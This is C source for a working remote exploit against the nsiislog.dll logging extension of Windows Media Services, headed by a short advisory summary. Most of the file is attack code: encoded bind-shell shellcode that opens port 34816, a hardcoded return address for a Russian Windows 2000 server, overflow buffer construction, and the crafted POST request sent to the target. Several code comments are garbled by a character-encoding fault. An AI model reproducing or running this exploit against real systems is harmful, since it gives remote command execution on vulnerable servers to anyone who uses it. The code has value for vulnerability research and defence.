// source: https://www.securityfocus.com/bid/8035/info
Microsoft has reported a buffer overflow vulnerability in Windows Media Services. This is due to a problem with how the logging ISAPI extension handles incoming client requests. This could cause arbitrary code execution in IIS, which is exploitable through Media Services.
// Windows Media Services Remote Command Execution #2
// v. 1.0 beta
// (c) firew0rker //tN [The N0b0D1eS]
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#ifdef WIN32
#include <winsock.h>
#pragma comment(lib, "wsock32")
#else
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#define SOCKET int
#define DWORD uint32_t
#define ULONG unsigned long
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define closesocket close
#endif
char shellcode[]=
//"\x90\x90\x90\x90\x90\x90\x90\xCC" //¤«ï⤪¨
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff"
"\xff\x5b\x81\xeb\x4d\x43\x22\x11"
"\x8b\xc3\x05\x66\x43\x22\x11\x66"
"\xb9\x15\x03\x80\x30\xfb\x40\x67"
"\xe2\xf9\x33\xa3\xf9\xfb\x72\x66"
"\x53\x06\x04\x04\x76\x66\x37\x06"
"\x04\x04\xa8\x40\xf6\xbd\xd9\xea"
"\xf8\x66\x53\x06\x04\x04\xa8\x93"
"\xfb\xfb\x04\x04\x13\x91\xfa\xfb"
"\xfb\x43\xcd\xbd\xd9\xea\xf8\x7e"
"\x53\x06\x04\x04\xab\x04\x6e\x37"
"\x06\x04\x04\xf0\x3b\xf4\x7f\xbe"
"\xfa\xfb\xfb\x76\x66\x3b\x06\x04"
"\x04\xa8\x40\xba\xbd\xd9\xea\xf8"
"\x66\x53\x06\x04\x04\xa8\xab\x13"
"\xcc\xfa\xfb\xfb\x76\x7e\x8f\x05"
"\x04\x04\xab\x93\xfa\xfa\xfb\xfb"
"\x04\x6e\x4b\x06\x04\x04\xc8\x20"
"\xa8\xa8\xa8\x91\xfd\x91\xfa\x91"
"\xf9\x04\x6e\x3b\x06\x04\x04\x72"
"\x7e\xa7\x05\x04\x04\x9d\x3c\x7e"
"\x9f\x05\x04\x04\xf9\xfb\x9d\x3c"
"\x7e\x9d\x05\x04\x04\x73\xfb\x3c"
"\x7e\x93\x05\x04\x04\xfb\xfb\xfb"
"\xfb\x76\x66\x9f\x05\x04\x04\x91"
"\xeb\xa8\x04\x4e\xa7\x05\x04\x04"
"\x04\x6e\x47\x06\x04\x04\xf0\x3b"
"\x8f\xe8\x76\x6e\x9c\x05\x04\x04"
"\x05\xf9\x7b\xc1\xfb\xf4\x7f\x46"
"\xfb\xfb\xfb\x10\x2f\x91\xfa\x04"
"\x4e\xa7\x05\x04\x04\x04\x6e\x43"
"\x06\x04\x04\xf0\x3b\xf4\x7e\x5e"
"\xfb\xfb\xfb\x3c\x7e\x9b\x05\x04"
"\x04\xeb\xfb\xfb\xfb\x76\x7e\x9b"
"\x05\x04\x04\xab\x76\x7e\x9f\x05"
"\x04\x04\xab\x04\x4e\xa7\x05\x04"
"\x04\x04\x6e\x4f\x06\x04\x04\x72"
"\x7e\xa3\x05\x04\x04\x07\x76\x46"
"\xf3\x05\x04\x04\xc8\x3b\x42\xbf"
"\xfb\xfb\xfb\x08\x51\x3c\x7e\xcf"
"\x05\x04\x04\xfb\xfa\xfb\xfb\x70"
"\x7e\xa3\x05\x04\x04\x72\x7e\xbf"
"\x05\x04\x04\x72\x7e\xb3\x05\x04"
"\x04\x72\x7e\xbb\x05\x04\x04\x3c"
"\x7e\xf3\x05\x04\x04\xbf\xfb\xfb"
"\xfb\xc8\x20\x76\x7e\x03\x06\x04"
"\x04\xab\x76\x7e\xf3\x05\x04\x04"
"\xab\xa8\xa8\x93\xfb\xfb\xfb\xf3"
"\x91\xfa\xa8\xa8\x43\x8c\xbd\xd9"
"\xea\xf8\x7e\x53\x06\x04\x04\xab"
"\xa8\x04\x6e\x3f\x06\x04\x04\x04"
"\x4e\xa3\x05\x04\x04\x04\x6e\x57"
"\x06\x04\x04\x12\xa0\x04\x04\x04"
"\x04\x6e\x33\x06\x04\x04\x13\x76"
"\xfa\xfb\xfb\x33\xef\xfb\xfb\xac"
"\xad\x13\xfb\xfb\xfb\xfb\x7a\xd7"
"\xdf\xf9\xbe\xd9\xea\x43\x0e\xbe"
"\xd9\xea\xf8\xff\xdf\x78\x3f\xff"
"\xab\x9f\x9c\x04\xcd\xfb\xfb\x72"
"\x9e\x03\x13\xfb\xfb\xfb\xfb\x7a"
"\xd7\xdf\xd8\xbe\xd9\xea\x43\xac"
"\xbe\xd9\xea\xf8\xff\xdf\x78\x3f"
"\xff\x72\xbe\x07\x9f\x9c\x72\xdd"
"\xfb\xfb\x70\x86\xf3\x9d\x7a\xc4"
"\xb6\xa1\x8e\xf4\x70\x0c\xf8\x8d"
"\xc7\x7a\xc5\xab\xbe\xfb\xfb\x8e"
"\xf9\x10\xf3\x7a\x14\xfb\xfb\xfa"
"\xfb\x10\x19\x72\x86\x0b\x72\x8e"
"\x17\x70\x86\xf7\x42\x6d\xfb\xfb"
"\xfb\xc9\x3b\x09\x55\x72\x86\x0f"
"\x70\x34\xd0\xb6\xf7\x70\xad\x83"
"\xf8\xae\x0b\x70\xa1\xdb\xf8\xa6"
"\x0b\xc8\x3b\x70\xc0\xf8\x86\x0b"
"\x70\x8e\xf7\xaa\x08\x5d\x8e\xfe"
"\x78\x3f\xff\x10\xf1\xa2\x78\x38"
"\xff\xbb\xc0\xb9\xe3\x8e\x1f\xc0"
"\xb9\xe3\x8e\xf9\x10\xb8\x70\x89"
"\xdf\xf8\x8e\x0b\x2a\x1b\xf8\x3d"
"\xf4\x4c\xfb\x70\x81\xe7\x3a\x1b"
"\xf9\xf8\xbe\x0b\xf8\x3c\x70\xfb"
"\xf8\xbe\x0b\x70\xb6\x0f\x72\xb6"
"\xf7\x70\xa6\xeb\x72\xf8\x78\x96"
"\xeb\xff\x70\x8e\x17\x7b\xc2\xfb"
"\x8e\x7c\x9f\x9c\x74\xfd\xfb\xfb"
"\x78\x3f\xff\xa5\xa4\x32\x39\xf7"
"\xfb\x70\x86\x0b\x12\x99\x04\x04"
"\x04\x33\xfb\xfb\xfb\x70\xbe\xeb"
"\x7a\x53\x67\xfb\xfb\xfb\xfb\xfb"
"\xfa\xfb\x43\xfb\xfb\xfb\xfb\x32"
"\x38\xb7\x94\x9a\x9f\xb7\x92\x99"
"\x89\x9a\x89\x82\xba\xfb\xbe\x83"
"\x92\x8f\xab\x89\x94\x98\x9e\x88"
"\x88\xfb\xb8\x89\x9e\x9a\x8f\x9e"
"\xab\x89\x94\x98\x9e\x88\x88\xba"
"\xfb\xfb\xac\xa8\xc9\xa4\xc8\xc9"
"\xd5\xbf\xb7\xb7\xfb\xac\xa8\xba"
"\xa8\x94\x98\x90\x9e\x8f\xba\xfb"
"\x99\x92\x95\x9f\xfb\x97\x92\x88"
"\x8f\x9e\x95\xfb\x9a\x98\x98\x9e"
"\x8b\x8f\xfb\xac\xa8\xba\xa8\x8f"
"\x9a\x89\x8f\x8e\x8b\xfb\x98\x97"
"\x94\x88\x9e\x88\x94\x98\x90\x9e"
"\x8f\xfb\xfb\x98\x96\x9f\xfb\xe9"
"\xc4\xfc\xff\xff\x74\xf9\x75\xf7";
const DWORD default_EIP_pos = 9992; //¯®«®¦¥¨¥ EIP ¢ ¡ãà(sploit)
const DWORD default_EBX_points_to = 9988; //㧠⥫ì EBX ®⭮ᥫ쭮 sploit
//const DWORD default_EIP_value = 0x77F8441B; //¯® í¬ã¤à¤.¡. JMP EDX, ¢ ¤ ®¬ áç í ¢ ntdll.dll
const DWORD default_EIP_value = 0x40F01333;
//const default_EDX_points_to = 0x1000; //í ¥ ¯ਣ®¤¨«®á
char *nsiislog_default = "/scripts/nsiislog.dll";
char sploit[default_EIP_pos+4+sizeof(shellcode)+1];
char sploitbuf[sizeof(sploit)*2];
void usage(char* argv[])
{
printf("Dicklamer (: "
"We are not responsible for the illegal use of this software.\n"
"Description: Binds shell to port 34816 (or higher if port busy).\n"
"Usage: "
"%s target [-p target_port] [-r /renamed_scripts/renamed_nsiislog.dll]\n"
"Supported target(s):\n"
"Windows version\t\t\t\tnsiislog.dll version\n"
"------------------------------------------------------------\n"
"2000 [5.00.2195] server rus.\t\t4.1.0.3917\n", argv[0]);
exit(0);
}
int main(int argc, char* argv[])
{
#ifdef WIN32
WSADATA wsaData;
#endif
int target_port = 80;
char *nsiislog = nsiislog_default;
int nArgIndex;
if (argc<2) usage(argv);
nArgIndex = 1;
while ((nArgIndex < argc)&&(strlen(argv[nArgIndex])>=2)&&(argv[nArgIndex][0]=='-'))
{
switch (argv[nArgIndex++][1])
{
case 'p':
case 'P':
target_port = atoi(argv[nArgIndex++]);
continue;
case 'r':
case 'R':
nsiislog = argv[nArgIndex++];
continue;
default:
usage(argv);
}
}
try {
#ifdef WIN32
WSAStartup(0x0101, &wsaData);
#endif
SOCKET s = socket(AF_INET,SOCK_STREAM,0);
if (s == INVALID_SOCKET) throw("No socket");
sockaddr_in addr;
//.¯।¥«塞 ¤à ᢠª
ULONG iaddr = inet_addr(argv[1]);
if (iaddr == INADDR_NONE) {//.¤à - ¨¬ï¥àª
hostent *ph = gethostbyname(argv[1]);
if (!ph) throw("Cant resolve hostname");
memcpy(&addr.sin_addr.s_addr,ph->h_addr_list[0],sizeof(in_addr));
} else {//.¤à - IP
memcpy(&addr.sin_addr.s_addr,&iaddr,4);
};
addr.sin_family = AF_INET;
addr.sin_port = htons(target_port);
int sizeofaddr=sizeof(addr);
char *req = "MX_STATS_LogLine: ";
strcpy(sploit, req);
memset(sploit+strlen(sploit), 0xCC, default_EIP_pos-strlen(req));
//memcpy(sploit+default_EDX_points_to, shellcode, sizeof(shellcode)-1/*ã â\0*/);
memcpy(sploit+default_EBX_points_to-(sizeof(shellcode)-1)+4, shellcode, sizeof(shellcode)-1/*ã â\0*/);
//¯à¯¥à®¤¥ EIP, EBX ¡㤥⪠§ëâ ¯®¤¨© DWORD 襣® § ¯à , £¤¥ JZ/JNZ
memcpy(sploit+default_EIP_pos, &default_EIP_value, sizeof default_EIP_value);
/*strcpy(sploit+sizeof(sploit)-11,"BCDEFGHIJK");*/
sploit[sizeof(sploit)-1] = 0;
if (connect(s,(struct sockaddr*)&addr,sizeof(struct sockaddr)) == SOCKET_ERROR) throw("Cant connect host");
sprintf(sploitbuf,
"POST %s HTTP/1.0\r\n"
"Accept: */*\r\n"
"User-Agent: NSPlayer/4.1.0.3917\r\n"
"Content-Type: text/plain\r\n"
"Content-Length: %i\r\n"
"Pragma: xClientGUID={89f451e0-a491-4346-ad78-4d55aac89045}\r\n"
"\r\n%s\r\n",
nsiislog,strlen(sploit),sploit);
int snd=send(s,sploitbuf,strlen(sploitbuf),0);
if (snd == strlen(sploitbuf)) printf("Target exploited.\n");
else throw("Cant send exploit");
closesocket(s);
}
catch (char *errmsg)
{
printf("%s\n",errmsg);
return -1;
}
catch (int err_n)
{
printf("error %i\n",err_n);
return err_n;
}
#ifdef WIN32
WSACleanup();
#endif
return 0;
}
